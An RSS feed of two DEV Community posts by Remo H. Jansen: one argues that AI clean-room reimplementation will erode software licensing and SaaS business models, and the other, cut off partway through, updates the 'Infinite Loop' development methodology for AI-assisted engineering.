<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Remo H. Jansen</title>
    <description>The latest articles on DEV Community by Remo H. Jansen (@remojansen).</description>
    <link>https://dev.to/remojansen</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F24875%2F4cfbc41a-3739-44c3-937c-9a9e3b231097.jpeg</url>
      <title>DEV Community: Remo H. Jansen</title>
      <link>https://dev.to/remojansen</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/remojansen"/>
    <language>en</language>
    <item>
      <title>Source code is now a common good, and SaaS is mostly dead</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Fri, 27 Mar 2026 23:26:48 +0000</pubDate>
      <link>https://dev.to/remojansen/source-code-is-now-a-common-good-and-saas-is-mostly-dead-gke</link>
      <guid>https://dev.to/remojansen/source-code-is-now-a-common-good-and-saas-is-mostly-dead-gke</guid>
      <description>&lt;p&gt;Back in 2023, I wrote a post titled &lt;a href="https://dev.to/wolksoftware/the-upcoming-saas-bubble-burst-1c95"&gt;"The upcoming SaaS bubble burst"&lt;/a&gt; where I argued that AI would enable individual developers to replicate SaaS products at a fraction of the cost, turning high-margin businesses into commodities.&lt;/p&gt;

&lt;p&gt;I was wrong about the timeline. It's happening right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Legal Hack That Started It All
&lt;/h2&gt;

&lt;p&gt;In 1982, a company called Phoenix Technologies wanted to create IBM PC-compatible computers. The problem? IBM's BIOS was copyrighted. Their solution was a "clean room" process: one team reverse-engineered the BIOS and wrote a functional specification, then a completely separate team—who had never seen the original code—implemented a new BIOS from scratch based solely on that specification.&lt;/p&gt;

&lt;p&gt;It worked. Courts ruled it legal because the second team independently created the code; they never copied anything. This became established legal precedent.&lt;/p&gt;

&lt;p&gt;Fast forward to March 2025: a satirical (but functional) service called &lt;a href="https://malus.sh" rel="noopener noreferrer"&gt;Malus.sh&lt;/a&gt; appeared, offering "Clean Room as a Service." The name itself—Latin for "evil"—was a joke, but the concept was deadly serious. Pay them, upload your dependency manifest, and their AI systems would reimplement your open source dependencies under any license you wanted. GPL becomes MIT. AGPL becomes proprietary.&lt;/p&gt;

&lt;p&gt;The service was presented at FOSDEM as a warning to the open source community. The &lt;a href="https://news.ycombinator.com/item?id=47350424" rel="noopener noreferrer"&gt;Hacker News discussion&lt;/a&gt; exploded with over 1,400 comments debating whether this was the end of copyleft or just a clever thought experiment.&lt;/p&gt;

&lt;p&gt;Around the same time, someone attempted exactly this with the &lt;a href="https://github.com/chardet/chardet/issues/327" rel="noopener noreferrer"&gt;chardet&lt;/a&gt; Python library—using Claude to rewrite it from LGPL to MIT. The open source community was furious.&lt;/p&gt;

&lt;p&gt;But here's what truly terrifies me: this is unstoppable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Two Directions of Liberation
&lt;/h2&gt;

&lt;p&gt;There are two scenarios playing out simultaneously:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Open Source → Commercial (GPL → MIT → Proprietary)
&lt;/h3&gt;

&lt;p&gt;Companies have always hated copyleft licenses like GPL and AGPL because they require sharing modifications. If you can reimplement the software cleanly, you eliminate that obligation. No more "viral" licensing concerns. No more open source compliance headaches.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Commercial → Open Source
&lt;/h3&gt;

&lt;p&gt;This is the scenario most people aren't talking about. SaaS applications don't expose their source code, but they do expose their behavior. Every button click, every API response, every error message is observable. Feed that to an LLM, produce a specification, have another LLM implement it. The source code was never "seen."&lt;/p&gt;

&lt;p&gt;For SaaS, the clean room defense is even stronger because there's literally no source code to contaminate the process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Is Unstoppable
&lt;/h2&gt;

&lt;p&gt;I know what you're thinking: "But the LLMs were trained on that code! They've seen it!"&lt;/p&gt;

&lt;p&gt;You're right. Someone demonstrated that Claude can reproduce chardet's source code &lt;strong&gt;verbatim from memory&lt;/strong&gt;, including the license headers. The training data is contaminated.&lt;/p&gt;

&lt;p&gt;But here's the thing: the architecture can be fixed.&lt;/p&gt;

&lt;p&gt;Imagine a two-LLM system:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LLM 1&lt;/strong&gt; ("dirty room"): Analyzes only public documentation, API specs, README files, type definitions. Never sees source code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LLM 2&lt;/strong&gt; ("clean room"): Trained specifically WITHOUT the target project's code. Receives only the specification from LLM 1.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Or a three-LLM system. Or more. Each hop makes the provenance harder to trace. Add different base models, different hosting providers, different jurisdictions. Good luck proving in court that the final output was "copied."&lt;/p&gt;

&lt;p&gt;For SaaS, it's even simpler. Point an AI agent at the UI. Let it click around, observe responses, document behavior. Feed that documentation to a clean model. Where's the infringement?&lt;/p&gt;

&lt;p&gt;The legal standard for clean room implementation was designed for humans with imperfect memories working for months. When AI can do it in hours with perfect documentation, the entire framework breaks down.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Government Dilemma
&lt;/h2&gt;

&lt;p&gt;Governments will eventually have to respond. But their options are all bad:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Software patents&lt;/strong&gt;: The only real way to protect ideas (not just expression) is patents. But broad software patents would stall innovation even more than copyright does. We already tried this in the 2000s with patent trolls. Nobody wants to go back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stronger copyright enforcement&lt;/strong&gt;: Unenforceable across borders. The moment one country allows this, the "liberated" code can be downloaded legally from servers in that jurisdiction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do nothing&lt;/strong&gt;: Tech companies lose their moats. VC-funded SaaS collapses.&lt;/p&gt;

&lt;p&gt;I expect different regions to react differently:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The US&lt;/strong&gt; has strong tech lobbying, but also a free-market ideology that resists new restrictions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The EU&lt;/strong&gt; tends to prioritize consumer interests over corporate ones. Cheaper software sounds pretty good to voters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Other countries&lt;/strong&gt; have less to lose and may deliberately permit this to erode Western IP advantages.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end of the day, if one country in the world allows AI-powered clean room reimplementation, you'll be able to download that "liberated" code from that country legally.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Ironic Outcome: Everything Becomes Open Source
&lt;/h2&gt;

&lt;p&gt;Here's the twist I didn't see coming: GPL exists to ensure software stays free forever. Richard Stallman created it because he believed users should have the freedom to run, study, modify, and share software.&lt;/p&gt;

&lt;p&gt;AI clean rooms might achieve exactly that outcome—just not in the way anyone intended.&lt;/p&gt;

&lt;p&gt;Think about it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Company A takes GPL software and relicenses it as proprietary.&lt;/li&gt;
&lt;li&gt;Company B takes Company A's proprietary software and reimplements it as open source.&lt;/li&gt;
&lt;li&gt;Company C takes that and makes it proprietary again.&lt;/li&gt;
&lt;li&gt;Repeat forever.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The end state? Everything converges to effectively public domain. You can't maintain a proprietary advantage when anyone can recreate your software in hours. You can't maintain copyleft when it can be circumvented just as easily.&lt;/p&gt;

&lt;p&gt;Source code becomes a common good. Not because of ideology, but because protection becomes technically impossible.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Can You Actually Sell?
&lt;/h2&gt;

&lt;p&gt;When code has no scarcity, what's left?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Convenience.&lt;/strong&gt; That's it.&lt;/p&gt;

&lt;p&gt;You can run the software yourself for free. Set up your own servers, handle updates, manage disaster recovery, deal with security patches—or pay someone a monthly fee to do it for you.&lt;/p&gt;

&lt;p&gt;But here's the problem: when self-hosting becomes trivial (thanks to agentic SRE and AI-powered infrastructure management), convenience becomes less valuable. Margins compress. The race to the bottom accelerates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Winners and Losers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Real Winners: Cloud Infrastructure Providers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AWS, GCP, Azure. They own the hardware, the data centers, the network infrastructure. Whether you're running open source or proprietary software, you're paying them for compute. They win regardless of who owns the code.&lt;/p&gt;

&lt;p&gt;In the short term, there might be shock to the system if an AI company like OpenAI fails spectacularly. That could damage cloud valuations temporarily. But long term? I'm bullish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Losers: Pure SaaS Companies&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any SaaS company whose value proposition is primarily "we wrote software that does X" is in trouble. If your moat is code, you no longer have a moat.&lt;/p&gt;

&lt;p&gt;And here's the brutal reality: most SaaS companies were never designed for low-margin economics. They have massive operating costs—large engineering teams, expensive offices, bloated sales organizations, venture debt—all predicated on the assumption of 70-80% gross margins. When margins collapse to 20-30% (or lower), the math simply doesn't work. They can't cut costs fast enough. Many will go bankrupt.&lt;/p&gt;

&lt;p&gt;This isn't a slow decline. SaaS companies with high burn rates and no data moat will face an existential crisis the moment a credible open source alternative appears. And with AI, that alternative can appear overnight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Exception: Data Moats&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some SaaS companies will survive—specifically, the ones that control proprietary data that can't be recreated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LinkedIn&lt;/strong&gt;: The value is the network graph, not the code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bloomberg&lt;/strong&gt;: Proprietary real-time financial feeds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Palantir&lt;/strong&gt;: Government contracts + classified data access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credit bureaus&lt;/strong&gt;: Decades of credit history data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Snowflake&lt;/strong&gt;: Data gravity—once your data is there, leaving is painful&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your software generates or aggregates unique data that can't be reproduced, you have something AI can't replicate. If your software is just features, you're toast.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Next Frontier: Open Source Hardware
&lt;/h2&gt;

&lt;p&gt;I cannot speak for Richard Stallman, but I believe the vision behind GPL was to ensure that software would be free forever—like in the early days of computing when code was shared openly.&lt;/p&gt;

&lt;p&gt;AI-powered clean rooms may finally get us there, ironically through market forces rather than ideology.&lt;/p&gt;

&lt;p&gt;The next frontier is open source hardware. The designs can be liberated just like software, but manufacturing remains controlled by corporations with factories, supply chains, and regulatory approvals. Still, open hardware could finally kill proprietary drivers—another piece of the dream.&lt;/p&gt;

&lt;p&gt;I personally believe this trajectory is better for consumers. Software becomes cheaper. Innovation accelerates. The tax on digital goods imposed by intellectual property regimes gradually evaporates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The SaaS bubble I predicted in 2023 is bursting. The mechanism is just different than I expected—not market forces alone, but a fundamental breakdown in the ability to protect software as property.&lt;/p&gt;

&lt;p&gt;In 5-10 years, I expect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Most software to be effectively open source (by force or by choice)&lt;/li&gt;
&lt;li&gt;SaaS margins to collapse except for data-moat businesses&lt;/li&gt;
&lt;li&gt;Cloud infrastructure to be the dominant value capture layer&lt;/li&gt;
&lt;li&gt;The concept of "software ownership" to feel as quaint as owning individual MP3 files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Is this good? Is this bad? Honestly, I don't know. But I do know it's happening. And the teams that prepare for a world where code has no scarcity will be the ones that thrive.&lt;/p&gt;

&lt;p&gt;What do you think? Am I too pessimistic about SaaS? Too optimistic about open source? I'd love to hear your perspective in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you found this interesting, you might also enjoy my previous posts on &lt;a href="https://dev.to/remojansen/agent-driven-development-add-the-next-paradigm-shift-in-software-engineering-1jfg"&gt;Agent Driven Development&lt;/a&gt; and &lt;a href="https://dev.to/wolksoftware/the-upcoming-saas-bubble-burst-1c95"&gt;the original SaaS bubble prediction from 2023&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>saas</category>
      <category>opensource</category>
      <category>programming</category>
    </item>
    <item>
      <title>The Infinite Loop Part III: Agentic Software Engineering</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Fri, 27 Mar 2026 22:18:46 +0000</pubDate>
      <link>https://dev.to/remojansen/the-infinite-loop-part-iii-agentic-software-engineering-1h5f</link>
      <guid>https://dev.to/remojansen/the-infinite-loop-part-iii-agentic-software-engineering-1h5f</guid>
      <description>&lt;h2&gt;
  
  
  Creating a culture of trust, ownership, and data-driven continuous experimentation—now accelerated by AI
&lt;/h2&gt;

&lt;p&gt;The Infinite Loop (L∞P) was introduced in 2023 as a software development methodology that unified lessons from Agile, Lean UX, Kanban, DevOps, and Product-led growth. Its core philosophy—trust, ownership, outcomes over outputs, no arbitrary deadlines—was designed to create high-performance teams that could achieve flow state and deliver genuine customer value.&lt;/p&gt;

&lt;p&gt;Three years later, AI has fundamentally changed how software is built. Large language models, agentic workflows, and AI-assisted development have compressed the time from idea to implementation. What took days now takes hours; what took hours now takes minutes.&lt;/p&gt;

&lt;p&gt;But the principles of L∞P are not obsolete—they are more relevant than ever.&lt;/p&gt;

&lt;p&gt;In 2023, the core problem was that companies underinvested in discovery and used time boxes that corrupted quality. Teams rushed to build without proper validation, and artificial deadlines led to technical debt accumulation and output-over-outcome thinking.&lt;/p&gt;

&lt;p&gt;AI doesn't change this—it amplifies it. Teams that skip discovery will now ship bad products faster. The new constraint is verification: AI generates code quickly, but proving correctness requires human judgment and automation investment. The teams that automate verification fastest will ship fastest.&lt;/p&gt;

&lt;p&gt;This update to L∞P acknowledges this shift while preserving the core philosophy that made it effective.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftl2mqtxm52qv5x6t46t8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftl2mqtxm52qv5x6t46t8.png" alt=" " width="800" height="412"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  How AI Accelerates the Loop
&lt;/h2&gt;

&lt;p&gt;AI transforms every phase of the product development cycle—but humans remain in control of judgment and validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Research &amp;amp; Discovery&lt;/strong&gt;: AI synthesizes market data, customer feedback, and competitive intelligence faster than manual research. Teams can explore more hypotheses with the same effort.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prototyping&lt;/strong&gt;: AI generates functional prototypes that enable real user validation faster and more effectively than static UX mockups. Users interact with working software, not wireframes—leading to higher-quality feedback earlier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovery → Development Transition&lt;/strong&gt;: AI assists the translation from validated discovery to technical specification. It asks refinement questions, identifies gaps in implementation plans, surfaces edge cases, and highlights integration risks before development begins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implementation&lt;/strong&gt;: AI accelerates code generation, but humans own architecture decisions and review all output. The role shifts from typing to steering and verifying.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verification&lt;/strong&gt;: AI cannot be 100% trusted with verification, but it accelerates it significantly—automated vulnerability scanning, test generation, code review assistance, and anomaly detection. Human judgment remains the final gate.&lt;/p&gt;

&lt;p&gt;AI compresses time but does not replace human judgment. Discovery still requires validation with real users. Architecture still requires human design. Verification still requires human oversight. AI makes the loop faster—it doesn't make corners safe to cut.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Acceleration works both ways.&lt;/strong&gt; If a team is leveraging AI correctly—investing in discovery, maintaining verification automation, addressing technical debt—everything works well and faster. But if things are going wrong, they go wrong faster too.&lt;/p&gt;

&lt;p&gt;Technical debt that was accumulating before AI? Now it accumulates twice as fast. Vulnerabilities that went unnoticed? They multiply faster. Poor architectural decisions? They propagate through the codebase before anyone catches them. Teams skipping discovery? They ship the wrong product to customers in record time.&lt;/p&gt;

&lt;p&gt;AI is an amplifier, not a corrector. It accelerates whatever trajectory you're already on. Teams with good practices win bigger. Teams with bad practices lose faster.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Actually Changed (And What Didn't)
&lt;/h2&gt;

&lt;p&gt;The fundamentals haven't changed as much as the hype suggests. The core problems remain: companies still underinvest in discovery, still use arbitrary deadlines, still optimise for outputs over outcomes. What changed is speed—iterations of the loop are faster, and estimation is even more useless than before.&lt;/p&gt;

&lt;p&gt;But there's a cultural shift that will separate winners from losers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The developer identity problem&lt;/strong&gt;: Developers have long lived by "talk is cheap, show me the code." Code is part of our identity. Letting go of code ownership is painful—even traumatic. We obsess over clean code, elegant abstractions, and technical excellence. This isn't inherently wrong; good code matters.&lt;/p&gt;

&lt;p&gt;But many developers fail to recognise "good bad code"—code that is technically excellent but ultimately harmful. Premature optimizations. Over-engineered abstractions. Architectural purity that overcomplicates the system and prevents faster value delivery. The code might be beautiful, but the user perceives no value, and the product loses to a scrappier competitor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The uncomfortable truth&lt;/strong&gt;: The winning product has rarely been the one with the best code. It's been the one with the most value—whether that's better UX, more features, faster iteration, or simply showing up first. Technical debt accumulated by winners gets paid down later. Technical perfection pursued by losers never ships.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The AI acceleration&lt;/strong&gt;: In the new world, this dynamic intensifies. AI makes code generation cheap. Control freaks who obsess over every line will be left behind. And while it's fun to mock "vibe coders" who prompt their way to working software, some of them will win—because they start with value, not code perfection. The vibe coders who ship without any verification will fail fast. The winners are those who start with value AND invest enough in verification to sustain velocity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The new developer role&lt;/strong&gt;: One consequence of AI is that developers must become more heavily involved in discovery. When implementation is fast, understanding &lt;em&gt;what&lt;/em&gt; to build matters more than &lt;em&gt;how&lt;/em&gt; to build it. Developers who stay isolated from customers, business context, and user research will become bottlenecks—not because they're slow at coding, but because they lack the judgment to steer AI toward value. The developers who thrive will be those who invest in understanding the business, participate in user research, and can make product decisions on the fly.&lt;/p&gt;

&lt;p&gt;This doesn't mean quality doesn't matter. It means quality serves value, not the other way around. The best teams will use AI to iterate faster toward value while maintaining just enough quality to sustain velocity. The worst teams will use AI to generate perfect code that nobody wants.&lt;/p&gt;




&lt;h2&gt;
  
  
  L∞P Principles
&lt;/h2&gt;

&lt;p&gt;L∞P proposes eleven equally essential principles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Customer-Centric&lt;/strong&gt;: Everyone should be in constant direct contact with customers, understand their needs, and be obsessed with delivering value to them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Value-Driven&lt;/strong&gt;: The team is asked to deliver an outcome, not an output. The effectiveness and efficiency of the team is measured by the success of the customers, not by outputs (No Burn-down charts).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Product-Led&lt;/strong&gt;: Remove silos between marketing, sales, customer success, and the product team.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Trust &amp;amp; Ownership&lt;/strong&gt;: The product team is tasked with leading the customer to success and having total freedom to come up with the optimal solution.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Flow-Friendly&lt;/strong&gt;: There must be at least 50% allocated focus time on the calendar every day. This applies to both deep-thinking architectural work and AI-orchestrated development—both require protection from interruption.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No Estimates or Time Boxes&lt;/strong&gt;: Use a pull-based system. Focus on one work item at a time. Discovery over planning. AI velocity is unpredictable, making estimation even less meaningful than before.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cost Tracking Over Velocity Tracking&lt;/strong&gt;: Instead of tracking velocity or estimating story points, track actual costs: team salaries, infrastructure, AI tokens. You know what you're spending weekly. Then measure outcomes: Activation Rate, Retention Rate, LTV, NPS, Feature Engagement. If customer satisfaction is improving or sustained, does velocity matter? The question isn't "how fast are we going?"—it's "are we delivering value relative to cost?" This reframes budget conversations from "will we hit the deadline?" to "is this investment generating returns?"&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Explicit Policies&lt;/strong&gt;: Use templates for agendas and artefacts to prevent deviation from your processes. This extends to AI governance—establish clear policies for security review and quality standards for AI-generated output.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Clear Goals&lt;/strong&gt;: The entire organisation should understand the business mission, vision, principles, and strategy.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data-Driven&lt;/strong&gt;: The decisions, direction, and work items are backed by data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pragmatic&lt;/strong&gt;: Making decisions based on what is best for the project rather than just optimising for individual preferences or technical ideals.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Automation-First&lt;/strong&gt;: Invest in automation before features. The team that automates verification, testing, and deployment will experience the full productivity gains of AI. A feature without automated verification is incomplete. Technical debt is addressed organically as part of ongoing work, not accumulated in a separate backlog.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  L∞P Roles
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;"If you want to go fast, go alone; if you want to go far, go together" - African proverb&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;L∞P tries to balance collaboration and working as a team, so we can attempt to achieve goals that are bigger than ourselves (go far) with focus and alone time so we can get into the zone and be super productive (go fast). When we work together, our goal should be to remove unknowns and enable autonomy; then, we can go our separate ways and get stuff done.&lt;/p&gt;

&lt;p&gt;The L∞P team structure is designed to ensure all disciplines are aligned and work without silos. Instead of having separate teams for product development, sales, marketing, and other functions, there is one cross-functional team in charge of discovery and delivery. This team integrates with sales and marketing by aligning goals and strategies around the product.&lt;/p&gt;

&lt;p&gt;Discovery and delivery are not separate silos. Developers can propose hypotheses, build prototypes, and participate in user research—they are not just implementers waiting for specifications. Similarly, UX and product can contribute to technical discussions. The entire team owns the full cycle from idea to validated, live product.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Product Manager&lt;/strong&gt; is a key role in this structure, taking on both the roles of product owner and scrum master. The Product Manager is responsible for leading the team, making decisions that impact the product, and ensuring the team delivers maximum customer value efficiently.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;UX&lt;/strong&gt; plays a crucial role in the product-led growth organisation, responsible for the design and usability of the product. The UX team works closely with the Product Manager and Engineering to ensure that the product is easy to use and meets the customer's needs. AI accelerates prototype generation; UX spends more time on user validation than wireframing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Architecture&lt;/strong&gt; creates the blueprint for the product and ensures technical coherence. This role becomes more critical in the AI era—AI generates code fast but makes poor architectural decisions. Humans must own system design.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Engineering&lt;/strong&gt; implements architecture decisions, builds verification systems, and maintains the product. The role shifts from "writing code" to "orchestrating AI, reviewing output, and building verification automation."&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sales &amp;amp; Marketing&lt;/strong&gt; represents business functions that influence product perception and customer expectations. These teams work closely with the Product Manager to align go-to-market strategy with product capabilities, ensuring promises match what the product delivers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI orchestration is not a separate role. Every team member incorporates AI assistance into their existing responsibilities organically.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Product Manager (PM)
&lt;/h2&gt;

&lt;p&gt;The role of the product manager is the most critical one in the product team—and AI makes it more critical, not less. The PM is often seen as the proving ground for future CEOs, as the success or failure of a product falls on their shoulders. It's therefore important that the PM role is reserved for the best talent, with a combination of technical expertise, deep customer and business knowledge, credibility among stakeholders, market and industry understanding, and a passion for the product.&lt;/p&gt;

&lt;p&gt;A PM must be smart, reactive, and persistent, with a deep respect for the product team. They should also be comfortable with using data and analytics tools to inform their decisions and drive the success of the product. The PM's main task is to ensure that only the most valuable work items reach the backlog, guiding the product team towards building solutions that deliver the greatest impact and customer value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How AI transforms the PM role:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AI amplifies PM leverage but also amplifies the cost of poor judgment. When the team can build anything fast, deciding &lt;em&gt;what&lt;/em&gt; to build becomes the primary bottleneck. The PM who chooses wrong wastes more resources faster.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Research at scale&lt;/strong&gt;: AI synthesizes market data, customer feedback, and competitive intelligence. The PM can explore more hypotheses and validate faster—but must still make the judgment calls about what matters.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Saying no becomes harder&lt;/strong&gt;: AI can generate infinite feature ideas, prototypes, and specifications. The PM must resist the temptation to build everything that's now "easy." The discipline of focus intensifies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Specification quality gates&lt;/strong&gt;: AI assists the translation from validated discovery to technical specifications, asking refinement questions and identifying gaps. But the PM validates that the specification actually captures customer value—AI can generate coherent specs for useless features.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Verification strategy ownership&lt;/strong&gt;: Before work begins, the PM ensures a verification strategy exists. How will we know this feature works? How will we know users value it? AI accelerates verification, but the PM defines what "verified" means.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Faster feedback loops&lt;/strong&gt;: AI-generated prototypes enable real user validation in hours instead of weeks. The PM must be ready to act on feedback immediately—there's no hiding behind "we'll fix it next sprint."&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The PM role becomes less about managing process and more about making decisions under uncertainty. The teams that win will have PMs who can synthesize information fast, say no confidently, and move from validated learning to shipped value without hesitation.&lt;/p&gt;




&lt;h2&gt;
  
  
  L∞P Artefacts
&lt;/h2&gt;

&lt;p&gt;In this section, we are going to take a look at the L∞P artefacts. We will mention common artefacts from other methodologies, clarify why we will not use them, and introduce some new ones.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Mission and vision&lt;/strong&gt;: The product mission and vision should be clearly articulated and documented. The team should not only know what the product aims to be but also what it is not aiming to be.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Unified Backlog&lt;/strong&gt;: A single backlog with tags to distinguish work types. We use a pull-based system—take the top item from the backlog. No separate backlogs for discovery and development.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;❌ &lt;strong&gt;Sprint Backlog&lt;/strong&gt;: We don't use a Sprint Backlog because we don't use time boxes. We use a Work board and Work-in-progress limits to track our current focus.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;❌ &lt;strong&gt;Definition of done&lt;/strong&gt;: We don't allow custom definitions of done. Done means live and used by actual customers. If it's live, it was verified—verification is a prerequisite, not a separate checkbox.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;❌ &lt;strong&gt;Product Increment&lt;/strong&gt;: We don't use a Product Increment because we don't accept the idea of something being "potentially releasable". We release everything; if we are not going to release it, we don't build it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;❌ &lt;strong&gt;Sprint goal&lt;/strong&gt;: We don't use a Sprint goal because we don't have time boxes but also because our metrics are already focused on outcomes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;❌ &lt;strong&gt;Separate technical debt backlog&lt;/strong&gt;: Technical debt is addressed organically as part of ongoing work, not accumulated separately.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Explicit work policies&lt;/strong&gt;: We use Explicit work policies to ensure that nobody corrupts or deviates from our principles.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;User stories&lt;/strong&gt;: We use User Stories, but we are careful to avoid including specific implementation details or technical requirements (WHAT) to keep the focus on the user's needs and goals (WHO and WHY). Stories should keep the focus on the user, enable collaboration and drive creative solutions. AI may draft stories; humans refine them.&lt;/p&gt;&lt;/li&gt;
